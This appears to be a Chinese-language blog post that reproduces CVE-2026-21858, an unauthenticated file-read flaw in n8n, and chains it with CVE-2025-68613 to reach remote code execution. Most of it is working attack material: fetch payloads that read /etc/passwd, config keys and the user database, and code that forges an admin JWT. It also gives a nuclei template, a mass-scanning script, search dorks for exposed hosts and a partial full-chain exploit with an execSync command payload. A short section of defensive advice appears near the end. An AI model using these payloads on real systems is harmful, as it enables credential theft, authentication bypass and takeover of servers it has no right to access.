Featured image of post CVE-2026-21858 因不当的 Webhook 请求处理而易受未认证文件访问

CVE-2026-21858 因不当的 Webhook 请求处理而易受未认证文件访问

🔬 技术分析

漏洞原理

N8N 是一个开源的工作流程自动化平台。1.65.0 及以下版本允许攻击者通过执行某些基于表单的工作流程访问底层服务器上的文件。一个易受攻击的工作流程可能让==未认证==的远程攻击者获得访问权限,导致系统中存储的敏感信息暴露,并根据部署配置和工作流程使用情况,可能进一步被攻破。这个问题在 1.121.0 版本中修复了。

与[[CVE-2025-68613 n8n 表达式沙箱逃逸导致远程代码执行漏洞]] 联合使用就能直接日穿n8n系统。CVE-2025-68613 漏洞虽然可以RCE,但是前提条件是知道n8n系统的登录密码,而且这个账户还需要有节点编辑权限。也就是必须登录到下图这样节点编辑的界面才能成功执行,如果不知道账户密码,或者登录的账户没有节点编辑权限的话就没办法,只能干瞪眼。这时候CVE-2026-2185来了,这个漏洞可以在不登陆的情况下,获得系统一些敏感文件的读取权限,从而访问比如 /etc/passwd 这样的文件获得密码。从而实现完整的攻击链条。


💣 漏洞复现

环境搭建

docker-compose.yml文件如下

 1services:
 2  n8n:
 3    build: .
 4    container_name: n8n-vulnerable
 5    ports:
 6      - "5678:5678"
 7    environment:
 8      - N8N_SECURE_COOKIE=false
 9      - WEBHOOK_URL=http://localhost:5678/
10    volumes:
11      - ./init:/init:ro
12    entrypoint: >
13      bash -c "
14        apt-get update && apt-get install -y curl > /dev/null 2>&1
15        n8n start &
16        sleep 15
17        bash /init/setup.sh
18        wait
19      "

Dockerfile文件如下

1FROM node:20-slim
2
3RUN npm install -g n8n@1.65.0
4
5EXPOSE 5678
6
7CMD ["n8n", "start"]

搭建环境

1docker compose up -d
2# Wait ~60 seconds for setup
3# Form: http://localhost:5678/form/vulnerable-form
4# Creds: admin@exploit.local / password

注意,真实渗透并不需要密码。

利用步骤

打开 http://IP:5678/form/vulnerable-form 看得到一个上传文件的窗口,并没有任何登录验证的过程,打开就看得到。

随便穿一个图片就看到显示如此

完整的纯手动利用步骤

第一步:触发任意文件读取

按F12打开控制台Console输入如下内容

 1fetch('http://target-ip:5678/form/vulnerable-form', {
 2  method: 'POST',
 3  headers: {'Content-Type': 'application/json'},
 4  body: JSON.stringify({
 5    data: {},
 6    files: {
 7      test: {
 8        filepath: '/etc/passwd',
 9        originalFilename: 'test.txt',
10        mimetype: 'text/plain',
11        size: 100
12      }
13    }
14  })
15})
16.then(r => r.text())
17.then(console.log)

确认任意文件读取漏洞存在,然后读取计算jwt所需的文件。

 1// 1. 读取环境变量获取HOME目录
 2fetch('http://target-ip:5678/form/vulnerable-form', {
 3  method: 'POST',
 4  headers: {'Content-Type': 'application/json'},
 5  body: JSON.stringify({
 6    data: {},
 7    files: {
 8      test: {
 9        filepath: '/proc/self/environ',
10        originalFilename: 'environ.txt',
11        mimetype: 'text/plain',
12        size: 1000
13      }
14    }
15  })
16})
17.then(r => r.text())
18.then(data => {
19  console.log('环境变量:', data);
20  // 从输出中找到 HOME=/home/node 或 HOME=/root
21});
22
23// 可能的配置文件路径
24const configPaths = [
25  '/home/node/.n8n/config',
26  '/root/.n8n/config',
27  '/.n8n/config'
28];
29
30// 尝试读取配置
31async function readConfig() {
32  for (const path of configPaths) {
33    try {
34      const response = await fetch('http://target-ip:5678/form/vulnerable-form', {
35        method: 'POST',
36        headers: {'Content-Type': 'application/json'},
37        body: JSON.stringify({
38          data: {},
39          files: {
40            config: {
41              filepath: path,
42              originalFilename: 'config.json',
43              mimetype: 'application/json',
44              size: 10000
45            }
46          }
47        })
48      });
49      
50      const text = await response.text();
51      if (!text.includes('error') && !text.includes('could not be started')) {
52        console.log(`成功读取 ${path}:`, text);
53        return text;
54      }
55    } catch (e) {
56      console.log(`读取 ${path} 失败:`, e);
57    }
58  }
59}
60
61readConfig();
62
63// 方法1: 尝试以文本形式读取(SQLite有些部分是可读文本)
64fetch('http://target-ip:5678/form/vulnerable-form', {
65  method: 'POST',
66  headers: {'Content-Type': 'application/json'},
67  body: JSON.stringify({
68    data: {},
69    files: {
70      db: {
71        filepath: '/root/.n8n/database.sqlite',
72        originalFilename: 'database.txt',
73        mimetype: 'text/plain',  // 改为text/plain
74        size: 500000
75      }
76    }
77  })
78})
79.then(r => r.text())
80.then(data => {
81  console.log('数据库内容(可能是二进制+文本混合):', data);
82  
83  // 尝试提取邮箱地址(通常是可读文本)
84  const emailMatches = data.match(/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/g);
85  console.log('找到的邮箱:', emailMatches);
86  
87  // 尝试提取bcrypt密码哈希
88  const bcryptMatches = data.match(/\$2[aby]\$\d{2}\$[./A-Za-z0-9]{53}/g);
89  console.log('找到的密码哈希:', bcryptMatches);
90  
91  // 尝试提取UUID(用户ID)
92  const uuidMatches = data.match(/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/gi);
93  console.log('找到的UUID:', uuidMatches);
94});

得到

环境变量: HOSTNAME=0f0c3e315f95 YARN_VERSION=1.22.22 PWD=/ HOME=/root WEBHOOK_URL=http://localhost:5678/ SHLVL=0 N8N_SECURE_COOKIE=false PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin NODE_VERSION=20.20.0 _=/usr/local/bin/n8n 

成功读取 /root/.n8n/config: {
	"encryptionKey": "HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G"
}

找到的邮箱: (3) ['admin@exploit.local', '%36aec5f0-fd9e-4638-a245-468225f23a17admin@exploit.localAdminExploit', 'admin@exploit.local']
VM41:27 找到的密码哈希: ['$2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2']
VM41:31 找到的UUID: (7) ['0a8aee21-505e-4b4b-9277-957028c62991', '113cf64e-837c-44aa-83f3-5244ee446eac', '36aec5f0-fd9e-4638-a245-468225f23a17', '36aec5f0-fd9e-4638-a245-468225f23a17', '36aec5f0-fd9e-4638-a245-468225f23a17', '36aec5f0-fd9e-4638-a245-468225f23a17', '36aec5f0-fd9e-4638-a245-468225f23a17']
第二步:手动伪造JWT令牌

提取到的关键信息

encryptionKey: HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G
userId: 36aec5f0-fd9e-4638-a245-468225f23a17 (出现5次,明显是管理员)
email: admin@exploit.local
passwordHash: $2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2
方法一:使用浏览器完成JWT伪造(纯手动)

在浏览器控制台运行以下代码:

 1// 第1步:加载crypto-js库
 2const script = document.createElement('script');
 3script.src = 'https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js';
 4document.head.appendChild(script);
 5
 6// 第2步:等待3秒后运行JWT生成代码
 7setTimeout(() => {
 8  // 已知信息
 9  const encryptionKey = "HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G";
10  const userId = "36aec5f0-fd9e-4638-a245-468225f23a17";
11  const email = "admin@exploit.local";
12  const passwordHash = "$2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2";
13  
14  // 派生JWT secret(取偶数位字符)
15  let extracted = '';
16  for (let i = 0; i < encryptionKey.length; i += 2) {
17    extracted += encryptionKey[i];
18  }
19  const jwtSecret = CryptoJS.SHA256(extracted).toString();
20  console.log('🔑 JWT Secret:', jwtSecret);
21  
22  // 计算JWT hash
23  const combined = email + ':' + passwordHash;
24  const sha256Hash = CryptoJS.SHA256(combined);
25  const base64Hash = sha256Hash.toString(CryptoJS.enc.Base64);
26  const jwtHash = base64Hash.substring(0, 10);
27  console.log('🔐 JWT Hash:', jwtHash);
28  
29  // 构造JWT Header和Payload
30  const header = {alg: "HS256", typ: "JWT"};
31  const payload = {id: userId, hash: jwtHash};
32  
33  // Base64URL编码
34  const base64urlEncode = (obj) => {
35    return btoa(JSON.stringify(obj))
36      .replace(/\+/g, '-')
37      .replace(/\//g, '_')
38      .replace(/=/g, '');
39  };
40  
41  const headerB64 = base64urlEncode(header);
42  const payloadB64 = base64urlEncode(payload);
43  
44  // 计算签名
45  const message = headerB64 + '.' + payloadB64;
46  const signature = CryptoJS.HmacSHA256(message, jwtSecret)
47    .toString(CryptoJS.enc.Base64)
48    .replace(/\+/g, '-')
49    .replace(/\//g, '_')
50    .replace(/=/g, '');
51  
52  // 完整JWT
53  const token = message + '.' + signature;
54  console.log('✅ JWT Token:', token);
55  
56  // 设置Cookie,IP改成靶机的IP
57  document.cookie = `n8n-auth=${token}; path=/; domain=target-ip`; 
58  console.log('🍪 Cookie已设置!');
59  console.log('📍 现在访问: http://target-ip:5678/');
60  
61  // 自动跳转
62  setTimeout(() => {
63    window.location.href = 'http://target-ip:5678/';
64  }, 1000);
65  
66}, 3000);

直接就进来了,都不用输入密码登录。

方法二:使用在线Python工具

如果浏览器方法有问题,访问 https://www.online-python.com/ 并运行:

 1import hashlib
 2import base64
 3import hmac
 4import json
 5
 6# 已知信息
 7encryption_key = "HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G"
 8user_id = "36aec5f0-fd9e-4638-a245-468225f23a17"
 9email = "admin@exploit.local"
10password_hash = "$2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2"
11
12# 步骤1: 派生JWT secret(取偶数位字符)
13extracted = encryption_key[::2]
14jwt_secret = hashlib.sha256(extracted.encode()).hexdigest()
15print(f"JWT Secret: {jwt_secret}")
16
17# 步骤2: 计算JWT hash
18combined = f"{email}:{password_hash}"
19jwt_hash_full = base64.b64encode(hashlib.sha256(combined.encode()).digest()).decode()
20jwt_hash = jwt_hash_full[:10]
21print(f"JWT Hash: {jwt_hash}")
22
23# 步骤3: 构造JWT
24def base64url_encode(data):
25    return base64.urlsafe_b64encode(data).decode().rstrip('=')
26
27# Header
28header = {"alg": "HS256", "typ": "JWT"}
29header_b64 = base64url_encode(json.dumps(header, separators=(',', ':')).encode())
30
31# Payload
32payload = {"id": user_id, "hash": jwt_hash}
33payload_b64 = base64url_encode(json.dumps(payload, separators=(',', ':')).encode())
34
35# Signature
36message = f"{header_b64}.{payload_b64}"
37signature_bytes = hmac.new(jwt_secret.encode(), message.encode(), hashlib.sha256).digest()
38signature = base64.urlsafe_b64encode(signature_bytes).decode().rstrip('=')
39
40# 完整JWT
41jwt_token = f"{header_b64}.{payload_b64}.{signature}"
42
43print(f"\n=== 复制下面的JWT Token ===")
44print(jwt_token)
45print(f"\n=== 设置Cookie命令 ===")
46print(f"document.cookie = \"n8n-auth={jwt_token}; path=/\";")

运行结果

JWT Secret: 16d04397ec90148196f72aa9cd5e6c84bf04f693a9244a148384043fc98f4b9d                                                                                           
JWT Hash: ncMgzO+zwP

=== 复制下面的JWT Token ===
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM2YWVjNWYwLWZkOWUtNDYzOC1hMjQ1LTQ2ODIyNWYyM2ExNyIsImhhc2giOiJuY01nek8rendQIn0.N0P9jTH-n1qFtZcgA9THAivy-ISh6uQ22nH2qHToqnQ

=== 设置Cookie命令 ===
document.cookie = "n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM2YWVjNWYwLWZkOWUtNDYzOC1hMjQ1LTQ2ODIyNWYyM2ExNyIsImhhc2giOiJuY01nek8rendQIn0.N0P9jTH-n1qFtZcgA9THAivy-ISh6uQ22nH2qHToqnQ; path=/";

浏览器控制台输入命令即可登录到工作流界面。

方法三:手动在浏览器设置Cookie

如果上面的自动跳转不work,手动设置:

  1. 打开浏览器控制台
  2. 运行上面的代码获取JWT token
  3. 手动设置cookie:
1// 将这里的TOKEN替换为生成的JWT
2document.cookie = "n8n-auth=TOKEN_HERE; path=/; domain=target-ip";
3
4// 然后访问
5window.location.href = 'http://target-ip:5678/';
第三步:通过Web界面手动创建RCE工作流

到这一步就可以用[[CVE-2025-68613 n8n 表达式沙箱逃逸导致远程代码执行漏洞]] 的方法了,就和老洞结合起来了。

手动利用总结

完全手动可行的部分

  • ✅ 文件读取(浏览器控制台 + fetch)
  • ✅ 数据库分析(在线SQLite工具)
  • ⚠️ JWT伪造(需要Python或在线工具辅助)
  • ✅ 工作流创建(Web界面点击操作)
  • ✅ RCE触发(浏览器控制台 + fetch)

关键点:JWT伪造是唯一需要编程辅助的步骤,但可以用在线Python解释器(如 https://replit.com/https://www.online-python.com/)完成,不需要本地安装任何工具。

全自动自动脚本

 1# 拉取poc
 2git clone https://github.com/Chocapikk/CVE-2026-21858.git
 3
 4# 读取文件
 5python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
 6
 7# 双CVE的RCE利用
 8python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
 9
10# 交互式shell
11python exploit.py http://localhost:5678 /form/vulnerable-form

📋 CVE-2026-21858 漏洞利用的必要条件

⚠️ 重要声明

这不是一个"万能"的 n8n 漏洞! 它需要目标系统满足特定的配置条件才能成功利用。

✅ 必须满足的 5 个条件

#条件说明检查方法
1️⃣表单工作流存在目标必须配置了带有文件上传字段的 Form Trigger 工作流访问 n8n UI 或通过 API 查询工作流
2️⃣有响应节点工作流必须包含 “Respond to Webhook” 节点来返回文件内容查看工作流配置中的节点连接
3️⃣工作流已激活工作流必须处于激活状态(而不是草稿/停用)工作流右上角开关为开启状态
4️⃣无需认证表单必须允许公开访问,不需要登录直接访问表单 URL 如 http://IP:5678/form/vulnerable-form 不会重定向到登录页
5️⃣返回二进制数据Respond 节点配置为返回 binary 类型数据respondWith: "binary"

🎯 易受攻击的工作流示例

典型的漏洞配置

 1{
 2  "nodes": [
 3    {
 4      "name": "Form Trigger",
 5      "type": "n8n-nodes-base.formTrigger",
 6      "parameters": {
 7        "responseMode": "responseNode",  // ← 关键:使用响应节点模式
 8        "formFields": {
 9          "values": [
10            {
11              "fieldLabel": "document",
12              "fieldType": "file"  // ← 关键:文件类型字段
13            }
14          ]
15        }
16      }
17    },
18    {
19      "name": "Respond",
20      "type": "n8n-nodes-base.respondToWebhook",
21      "parameters": {
22        "respondWith": "binary",  // ← 关键:返回二进制数据
23        "inputDataFieldName": "document"
24      }
25    }
26  ],
27  "connections": {
28    "Form Trigger": {
29      "main": [[{"node": "Respond"}]]  // ← 关键:两个节点必须连接
30    }
31  }
32}

下载靶机的工作流程配置确实如此。

 1{
 2  "name": "Vulnerable Form",
 3  "nodes": [
 4    {
 5      "parameters": {
 6        "formTitle": "Upload",
 7        "formFields": {
 8          "values": [
 9            {
10              "fieldLabel": "document",
11              "fieldType": "file"
12            }
13          ]
14        },
15        "responseMode": "responseNode",
16        "options": {}
17      },
18      "id": "trigger",
19      "name": "Form Trigger",
20      "type": "n8n-nodes-base.formTrigger",
21      "typeVersion": 2.2,
22      "position": [
23        0,
24        0
25      ],
26      "webhookId": "vulnerable-form"
27    },
28    {
29      "parameters": {
30        "respondWith": "binary",
31        "options": {}
32      },
33      "id": "respond",
34      "name": "Respond",
35      "type": "n8n-nodes-base.respondToWebhook",
36      "typeVersion": 1.1,
37      "position": [
38        300,
39        0
40      ]
41    }
42  ],
43  "pinData": {},
44  "connections": {
45    "Form Trigger": {
46      "main": [
47        [
48          {
49            "node": "Respond",
50            "type": "main",
51            "index": 0
52          }
53        ]
54      ]
55    }
56  },
57  "active": true,
58  "settings": {
59    "executionOrder": "v1"
60  },
61  "versionId": "113cf64e-837c-44aa-83f3-5244ee446eac",
62  "meta": {
63    "templateCredsSetupCompleted": true,
64    "instanceId": "3f11b0ad0c3ab511dade954f94dc424506d153073749fdfee9eaf02b3c813448"
65  },
66  "id": "Tjg3GOuwAWx89qE2",
67  "tags": []
68}

🔑 漏洞触发的关键要素

  1. fieldType: "file" - 允许文件上传
  2. respondWith: "binary" - 以二进制形式返回文件内容
  3. 节点连接 - Form Trigger → Respond to Webhook
  4. responseMode: "responseNode" - 使用响应节点而不是自动响应

✅ 适用场景(可以利用)

1. 文件处理工作流

  • ✅ PDF 转换器
  • ✅ 图片压缩/调整大小
  • ✅ 文档格式转换器
  • ✅ 文件预览服务

特点: 用户上传文件 → 处理 → 返回处理后的文件

2. 默认 n8n 安装

  • ✅ 表达式注入(CVE-2025-68613)未被禁用
  • ✅ 本地部署或 Docker 部署
  • ✅ 配置和数据库存储在本地磁盘

3. 公开访问的表单

  • ✅ 无需登录即可访问
  • ✅ 无需 API 密钥或 Token
  • ✅ 直接通过 URL 可访问

❌ 不适用场景(无法利用)

1. 没有响应节点的表单

Form Trigger → [其他处理节点] → 保存到数据库/发送邮件
                              ↑
                        没有 Respond 节点

结果: 文件被读取但内容无法通过 HTTP 响应获取

2. 需要认证的表单

访问表单 → 要求登录 → 无法提交恶意 payload

结果: 无法触发漏洞

3. n8n Cloud(云端托管)

  • ❌ 不同的架构设计
  • ❌ 无法直接访问本地文件系统
  • ❌ 数据库不在可读取的路径

4. 已修复版本

  • ❌ n8n >= 1.121.0(任意文件读取已修复)
  • ❌ n8n >= 1.120.4(表达式注入已修复)

🔍 漏洞原理深度解析

漏洞触发流程

1. 攻击者发送恶意 JSON payload:
   {
     "files": {
       "test": {
         "filepath": "/etc/passwd",  // ← 控制文件路径
         "originalFilename": "test.txt",
         "mimetype": "text/plain"
       }
     }
   }

2. n8n 错误处理:
   - 接受 Content-Type: application/json(应该只接受 multipart/form-data)
   - 直接使用用户提供的 filepath
   - 没有路径验证或沙箱限制

3. 文件读取:
   - n8n 读取攻击者指定的任意文件
   - 将内容传递给 Respond 节点

4. 数据泄露:
   - Respond 节点配置为 respondWith: "binary"
   - 文件内容直接在 HTTP 响应中返回给攻击者

🎭 替代利用方式

即使没有 “Respond to Webhook” 节点,漏洞仍然存在,但需要不同的数据外泄方法:

方法 1: 带外(OOB)数据外泄

Form Trigger → HTTP Request 节点
               ↓
               将文件内容发送到攻击者的服务器

方法 2: 时序攻击(Blind Exploitation)

读取文件 → 根据文件大小/内容延迟响应
         ↓
         攻击者通过响应时间推断文件内容

方法 3: 其他输出节点

Form Trigger → Email/Slack/Discord 节点
               ↓
               将文件内容发送到攻击者控制的账户

📊 现实世界中的应用场景

容易受攻击的真实用例

应用场景配置特点风险等级
在线文档转换器文件上传 + 返回转换结果🔴 高危
图片处理服务图片上传 + 返回处理后图片🔴 高危
文件预览工具文件上传 + 返回预览🔴 高危
数据分析表单CSV 上传 + 返回分析结果🟡 中危
内部工具(需认证)文件上传但需要登录🟢 低危

不易受攻击的配置

应用场景安全原因
纯数据收集表单只保存数据,不返回文件内容
需要 SSO 的企业表单认证保护
n8n Cloud 用户云架构限制
已升级到新版本补丁修复

搜索语法

n8n 平台远程代码执行漏洞(CVE-2025-68613)ZoomEye搜索app=“n8n” https://www.zoomeye.org/searchResult?q=YXBwPSJuOG4i hunter搜索语法

web.icon=="8ad475e8b10ff8bcff648ae6d49c88ae"
web.icon="8ad475e8b10ff8bcff648ae6d49c88ae"&&icp.number!==""&&icp.name!="公司"&&icp.name!="工作室"&&icp.type!="个人"

Nuclei模板

 1id: CVE-2026-21858-lfi-fixed
 2
 3info:
 4  name: n8n Arbitrary File Read (CVE-2026-21858) - Active Check
 5  author: customized
 6  severity: critical
 7  description: |
 8    Proves CVE-2026-21858 by reading /etc/passwd via n8n vulnerable form trigger.
 9  tags: cve,cve2026,n8n,lfi
10
11requests:
12  - method: POST
13    path:
14      - "{{BaseURL}}/form/vulnerable-form"
15      - "{{BaseURL}}/webhook/vulnerable-form"
16      - "{{BaseURL}}/form/upload"
17      - "{{BaseURL}}/webhook/upload"
18      # 如果你知道其他特定路径,可以在这里添加
19
20    headers:
21      Content-Type: "application/json"
22
23    # 这里的 JSON 必须是压缩的一行,严格模仿 Python 脚本的 Payload
24    body: '{"data":{},"files":{"check_vuln":{"filepath":"/etc/passwd","originalFilename":"check.bin","mimetype":"application/octet-stream","size":1024}}}'
25
26    matchers-condition: and
27    matchers:
28      - type: regex
29        part: body
30        regex:
31          - "root:.*:0:0:"
32
33      - type: status
34        status:
35          - 200

把上面的代码保存为CVE-2026-21858-lfi.yaml文件,然后执行如下命令。

1nuclei -u http://8vccf5j.haobachang.loveli.com.cn:8888/ -t CVE-2026-21858-lfi.yaml

批量测试脚本

scan_n8n.py内容如下

  1#!/usr/bin/env python3
  2import requests
  3import argparse
  4import urllib3
  5import concurrent.futures
  6from urllib.parse import urljoin
  7import sys
  8
  9# 禁用 SSL 警告
 10urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 11
 12# 颜色代码
 13GREEN = "\033[92m"
 14RED = "\033[91m"
 15YELLOW = "\033[93m"
 16RESET = "\033[0m"
 17
 18def get_lfi_payload(filepath="/etc/passwd"):
 19    """构造恶意 JSON Payload"""
 20    return {
 21        "data": {},
 22        "files": {
 23            "check_vuln": {
 24                "filepath": filepath,
 25                "originalFilename": "test.bin",
 26                "mimetype": "application/octet-stream",
 27                "size": 1024
 28            }
 29        }
 30    }
 31
 32def check_vulnerability(target_url, form_path):
 33    """检测单个目标"""
 34    # 确保 URL 格式正确
 35    if not target_url.startswith("http"):
 36        target_url = f"http://{target_url}"
 37    
 38    full_url = urljoin(target_url, form_path)
 39    
 40    try:
 41        # 发送 LFI 请求
 42        response = requests.post(
 43            full_url,
 44            json=get_lfi_payload(),
 45            headers={"Content-Type": "application/json"},
 46            timeout=10,
 47            verify=False
 48        )
 49        
 50        # 检查 /etc/passwd 的特征字符
 51        if response.status_code == 200 and "root:x:0:0" in response.text:
 52            print(f"[{GREEN}VULN{RESET}] {full_url} - Successfully read /etc/passwd")
 53            return full_url
 54        elif response.status_code == 404:
 55            # 这里的 404 可能意味着 Form ID 不对,而不是 n8n 不存在
 56            print(f"[{YELLOW}WARN{RESET}] {full_url} - Form endpoint not found (404)")
 57        else:
 58            print(f"[{RED}FAIL{RESET}] {full_url} - Not vulnerable or unknown response (Code: {response.status_code})")
 59            
 60    except requests.exceptions.RequestException as e:
 61        print(f"[{RED}ERR {RESET}] {target_url} - Connection failed: {str(e)[:50]}")
 62    
 63    return None
 64
 65def main():
 66    parser = argparse.ArgumentParser(description="Batch Scanner for CVE-2026-21858 (n8n LFI)")
 67    parser.add_argument("-f", "--file", help="File containing list of target URLs", required=True)
 68    parser.add_argument("-p", "--path", help="Form path to test (default: /form/vulnerable-form)", default="/form/vulnerable-form")
 69    parser.add_argument("-t", "--threads", help="Number of threads", type=int, default=10)
 70    parser.add_argument("-o", "--output", help="File to save vulnerable URLs", default="vuln_hosts.txt")
 71    
 72    args = parser.parse_args()
 73    
 74    targets = []
 75    try:
 76        with open(args.file, "r") as f:
 77            targets = [line.strip() for line in f if line.strip()]
 78    except FileNotFoundError:
 79        print(f"Error: File {args.file} not found.")
 80        sys.exit(1)
 81
 82    print(f"[*] Loaded {len(targets)} targets.")
 83    print(f"[*] Testing Form Path: {args.path}")
 84    print("[*] Starting scan...\n")
 85
 86    vulnerable_hosts = []
 87
 88    # 多线程扫描
 89    with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
 90        futures = {executor.submit(check_vulnerability, url, args.path): url for url in targets}
 91        
 92        for future in concurrent.futures.as_completed(futures):
 93            result = future.result()
 94            if result:
 95                vulnerable_hosts.append(result)
 96
 97    # 保存结果
 98    if vulnerable_hosts:
 99        with open(args.output, "w") as f:
100            for url in vulnerable_hosts:
101                f.write(url + "\n")
102        print(f"\n[{GREEN}SUCCESS{RESET}] Found {len(vulnerable_hosts)} vulnerable hosts. Saved to {args.output}")
103    else:
104        print(f"\n[{RED}FINISHED{RESET}] No vulnerable hosts found.")
105
106if __name__ == "__main__":
107    main()

准备一个 target.txt,每行一个 http://ip:port

1python .\scan_n8n.py -f .\target.txt -t 20


🛡️ 防御建议

对于 n8n 用户

  1. 立即升级: 升级到 n8n >= 1.121.0
  2. 审查工作流: 检查所有公开表单是否有文件上传功能
  3. 添加认证: 为所有表单添加身份验证
  4. 限制访问: 使用 IP 白名单或 VPN

对于开发者

  1. 输入验证: 验证 Content-Type 必须是 multipart/form-data
  2. 路径沙箱: 限制文件访问在安全目录内
  3. 安全审计: 定期审查文件处理相关代码

💡 总结

CVE-2026-21858 不是通用漏洞,它需要:

  • ✅ 特定的工作流配置(文件上传 + 响应节点)
  • ✅ 工作流处于激活状态
  • ✅ 无认证保护
  • ✅ 易受攻击的 n8n 版本

但是,满足这些条件的系统非常容易被完全攻陷

  1. 任意文件读取 → 窃取数据库和密钥
  2. Token 伪造 → 获取管理员权限
  3. 表达式注入 → 远程代码执行

CVSS 评分 10.0 是合理的,因为一旦条件满足,攻击链是完全可靠且易于执行的。


🔗 参考资源

官方公告

https://www.cve.org/CVERecord?id=CVE-2026-21858

技术分析

PoC/Exploit

  1#!/usr/bin/env python3
  2"""
  3CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain Exploit
  4Arbitrary File Read → Admin Token Forge → Sandbox Bypass → RCE
  5
  6Author: Chocapikk
  7GitHub: https://github.com/Chocapikk/CVE-2026-21858
  8"""
  9
 10import argparse
 11import hashlib
 12import json
 13import secrets
 14import sqlite3
 15import string
 16import tempfile
 17from base64 import b64encode
 18
 19import jwt
 20import requests
 21from pwn import log
 22
 23BANNER = """
 24╔═══════════════════════════════════════════════════════════════╗
 25║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
 26║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
 27║                                                               ║
 28║     by Chocapikk                                              ║
 29╚═══════════════════════════════════════════════════════════════╝
 30"""
 31
 32RCE_PAYLOAD = '={{ (function() { var require = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("CMD").toString(); })() }}'
 33
 34
 35def randstr(n: int = 12) -> str:
 36    return "".join(secrets.choice(string.ascii_lowercase + string.digits) for _ in range(n))
 37
 38
 39def randpos() -> list[int]:
 40    return [secrets.randbelow(500) + 100, secrets.randbelow(500) + 100]
 41
 42
 43class Ni8mare:
 44    def __init__(self, base_url: str, form_path: str):
 45        self.base_url = base_url.rstrip("/")
 46        self.form_url = f"{self.base_url}/{form_path.lstrip('/')}"
 47        self.session = requests.Session()
 48        self.admin_token = None
 49
 50    def _api(self, method: str, path: str, **kwargs) -> requests.Response | None:
 51        kwargs.setdefault("timeout", 30)
 52        kwargs.setdefault("cookies", {"n8n-auth": self.admin_token} if self.admin_token else {})
 53        resp = self.session.request(method, f"{self.base_url}{path}", **kwargs)
 54        return resp if resp.ok else None
 55
 56    def _lfi_payload(self, filepath: str) -> dict:
 57        return {
 58            "data": {},
 59            "files": {
 60                f"f-{randstr(6)}": {
 61                    "filepath": filepath,
 62                    "originalFilename": f"{randstr(8)}.bin",
 63                    "mimetype": "application/octet-stream",
 64                    "size": secrets.randbelow(90000) + 10000
 65                }
 66            }
 67        }
 68
 69    def _build_nodes(self, command: str) -> tuple[list, dict, str, str]:
 70        trigger_name, rce_name = f"T-{randstr(8)}", f"R-{randstr(8)}"
 71        result_var = f"v{randstr(6)}"
 72        payload_value = RCE_PAYLOAD.replace("CMD", command.replace('"', '\\"'))
 73        nodes = [
 74            {"parameters": {}, "name": trigger_name, "type": "n8n-nodes-base.manualTrigger",
 75             "typeVersion": 1, "position": randpos(), "id": f"t-{randstr(12)}"},
 76            {"parameters": {"values": {"string": [{"name": result_var, "value": payload_value}]}},
 77             "name": rce_name, "type": "n8n-nodes-base.set", "typeVersion": 2,
 78             "position": randpos(), "id": f"r-{randstr(12)}"}
 79        ]
 80        connections = {trigger_name: {"main": [[{"node": rce_name, "type": "main", "index": 0}]]}}
 81        return nodes, connections, trigger_name, rce_name
 82
 83    # ========== Arbitrary File Read (CVE-2026-21858) ==========
 84
 85    def read_file(self, filepath: str, timeout: int = 30) -> bytes | None:
 86        resp = self.session.post(
 87            self.form_url, json=self._lfi_payload(filepath),
 88            headers={"Content-Type": "application/json"}, timeout=timeout
 89        )
 90        return resp.content if resp.ok and resp.content else None
 91
 92    def get_version(self) -> tuple[str, bool]:
 93        resp = self._api("GET", "/rest/settings", timeout=10)
 94        version = resp.json().get("data", {}).get("versionCli", "0.0.0") if resp else "0.0.0"
 95        major, minor = map(int, version.split(".")[:2])
 96        return version, major < 1 or (major == 1 and minor < 121)
 97
 98    def get_home(self) -> str | None:
 99        data = self.read_file("/proc/self/environ")
100        if not data:
101            return None
102        for var in data.split(b"\x00"):
103            if var.startswith(b"HOME="):
104                return var.decode().split("=", 1)[1]
105        return None
106
107    def get_key(self, home: str) -> str | None:
108        data = self.read_file(f"{home}/.n8n/config")
109        return json.loads(data).get("encryptionKey") if data else None
110
111    def get_db(self, home: str) -> bytes | None:
112        return self.read_file(f"{home}/.n8n/database.sqlite", timeout=120)
113
114    def extract_admin(self, db: bytes) -> tuple[str, str, str] | None:
115        with tempfile.NamedTemporaryFile(suffix=".db") as f:
116            f.write(db)
117            f.flush()
118            conn = sqlite3.connect(f.name)
119            row = conn.execute("SELECT id, email, password FROM user WHERE role='global:owner' LIMIT 1").fetchone()
120            conn.close()
121        return (row[0], row[1], row[2]) if row else None
122
123    def forge_token(self, key: str, uid: str, email: str, pw_hash: str) -> str:
124        secret = hashlib.sha256(key[::2].encode()).hexdigest()
125        h = b64encode(hashlib.sha256(f"{email}:{pw_hash}".encode()).digest()).decode()[:10]
126        self.admin_token = jwt.encode({"id": uid, "hash": h}, secret, "HS256")
127        return self.admin_token
128
129    def verify_token(self) -> bool:
130        return self._api("GET", "/rest/users", timeout=10) is not None
131
132    # ========== RCE (CVE-2025-68613) ==========
133
134    def rce(self, command: str) -> str | None:
135        nodes, connections, _, _ = self._build_nodes(command)
136        wf_name = f"wf-{randstr(16)}"
